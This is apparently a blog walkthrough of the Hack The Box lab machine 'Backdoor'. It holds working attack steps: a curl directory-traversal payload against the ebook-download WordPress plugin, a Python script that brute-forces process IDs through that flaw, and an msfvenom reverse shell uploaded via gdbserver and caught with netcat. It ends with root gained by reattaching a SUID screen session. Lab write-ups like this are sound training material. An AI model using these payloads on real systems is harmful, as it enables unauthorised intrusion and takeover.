Home Hack The Box Writeup - Backdoor
Post
Cancel

Hack The Box Writeup - Backdoor

Backdoor is an easy Linux box. By exploiting a common vulnerability in one of Wordpress’ installed plugins, we were able to disclose arbitrary files on the system. Using this technique, we were able to gather additional information about running services on other ports. Having this additional information, it was rather easy to exploit one of the other running services and thus gain initial access to the system. Once gotten access to the user, gaining root was a trivial task.

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ rustscan -a backdoor.htb -- -sC -sV -oN port_scan

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtpq3sGiUQ1jgwf7h5BE+AlYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqlKHcqMpttqJHphVA0/1dP7uoLCJlAOOWnW0K311DXkxfOiKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFItCRkvVB1G7DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFIml7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0JbCqyPFG5yziL8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0CoslyQnighQSwNaWuBYXvOLi6AsgckJLS44L8LxU4J8=
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
|   256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?  syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that three ports are open:

  • Port 22: OpenSSH 8.2p1
  • Port 80: Apache httpd 2.4.41
  • Port 1337: Unknown service

Port 80 - Apache Web Server (Wordpress)

Visiting the website, we see an application which was apparently built with the usage of Wordpress (as already indicated by nmap).

Screenshot of the Wordpress website (port 80)

Wordpress has several attack vectors…. one of those vectors is focussing on the installed plugins. Running a dir-scan (gobuster or feroxbuster) reveals that the listing of the installed plugins is enabled.

Installed Wordpress plugins located at /wp-content/plugins/. Directory listing is enabled

Here we can clearly see that there is only one plugin (ebook-download) installed. A quick search on google reveals that this Wordpress plugin contains a Local File Inclusion vulnerability.

Exploit Database Entry: Wordpress Plugin eBook Directory Traversal

Apparently it’s possible to include files through the ebookdownloadurl parameter of filedownload.php. Following request is a PoC for including /etc/passwd

1
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../etc/passwd"

Triggering a LFI - proof of concept by including /etc/passwd

Great! We got our attack vector. Now we have to look for interesting files such as SSH keys, config files which contain passwords or even hope for something like a log poisoning vulnerability.

Initial Foothold

After several hours of skimming through the file-system, I havent found anything interesting that could help us gain access to the system as valid user. Then I remembered that there is still the open port 1337, which we couldnt figure out what it was. The next idea was thus to search the /proc directory to find out the process ID of the running service on this port. This would hopefully give us more information about what we are dealing with. (if you are not familiar with this technique, here is a nice article that thoroughly explains what im about to do)

The idea is the following: The /proc directory contains directories which store information about all processes running on the system. Those directories are named after the Process ID (short: PID) of the service. E.g. if we are looking for information about the process with PID “1000” then these files would be located in /proc/1000.

The only issue is that we don’t know the PID of the exposed service on port 1337. For this reason, I wrote a short script that basically bruteforces all PIDs to look for a process whose “call” via the cmdline contains the string ‘1337’. My assumption here was that the process must have been started via the cmdline and the port was most likely specified at the start-up.

1
2
3
4
5
6
7
8
9
10
11
12
import requests

HIGHEST_PID = 30000
proc_info_template = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../proc/####/cmdline"

for x in range(0,HIGHEST_PID):
    if x % 100 == 0:
        print(f"[ + ] Trying PID: {x}")
    r = requests.get(proc_info_template.replace('####', str(x)))
    if "1337" in r.text:
        print(r.text)
        break
1
2
3
4
5
6
7
8
9
10
11
12
└─$ python3 exploit.py  
[ + ] Trying PID: 0
[ + ] Trying PID: 100
[ + ] Trying PID: 200
[ + ] Trying PID: 300
[ + ] Trying PID: 400
[ + ] Trying PID: 500
[ + ] Trying PID: 600
[ + ] Trying PID: 700
[ + ] Trying PID: 800
[ + ] Trying PID: 900
../../../../../../../../proc/951/cmdline../../../../../../../../proc/951/cmdline../../../../../../../../proc/951/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done<script>window.close()</script>

We found it! Process 951 was started with gdbserver --once 0.0.0.0:1337. So port 1337 exposes an instance of a gdbserver! Great! We can exploit that.

Privilege Escalation - User Backdoor

Reading the documentation of the gdbserver clearly tells us how we can remotely connect and upload files to the gdbserver. This way, we can upload a reverse shell binary which we the upload to the gdbserver for “debugging” :). Once we run the binary with the debugger, it will execute the shell binary and we get access to the system!

Creating the reverse shell binary, uploading and running the binary:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/backdoor]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o shell

gdb-peda$ target extended-remote backdoor.htb:1337
gdb-peda$ remote put shell shell   
Successfully sent file "shell".     
gdb-peda$ set remote exec-file shell                                          
gdb-peda$ run   

Netcat listener:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/backdoor]
└─$ nc -lnvp 4444 
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.129.193.28] 57854

id && hostname
uid=1000(user) gid=1000(user) groups=1000(user)
Backdoor

There we go! We got user access. To simplify things, we can now upload our public ssh key to the authorized_keys of this user, such that we can conveniently connect to the machine via ssh. Next step is to get access to the root account!

Privilege Escalation - User Root

Going through the basic steps of priv esc, we see that the list of binaries with the SUID bit set is a bit off. Here we have an additional command screen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user@Backdoor:~$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/passwd                
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen         <--- this one is typically not in this list
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec

Checking GTFObins for screen with SUID does however not reveal anything. So something additional must be going on on the machine. The next step was therefore to check the running processes on the system. I intentionally filtered for occurrences of screen as this was clearly the attack vector. And indeed! There was a script running that created screen sessions for root.

  • -d: Start screen session in “detached mode”
  • -m: With “screen -m” creation of a new session is enforced, regardless whether screen is called from within another screen session or not
  • -S: Sessioname. This substitutes the default tty.host suffix
1
2
user@Backdoor:~$ ps aux | grep -i screen
root         952  0.0  0.0   2608  1664 ?        Ss   15:25   0:04 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done  

As the screen binary has the SUID bit set, we can easily resume the detached root session with the following command:

1
user@Backdoor:~$ screen -r root/root

And we are root!

Printing root.txt as a proof for rooting the machine

This post is licensed under CC BY 4.0 by the author.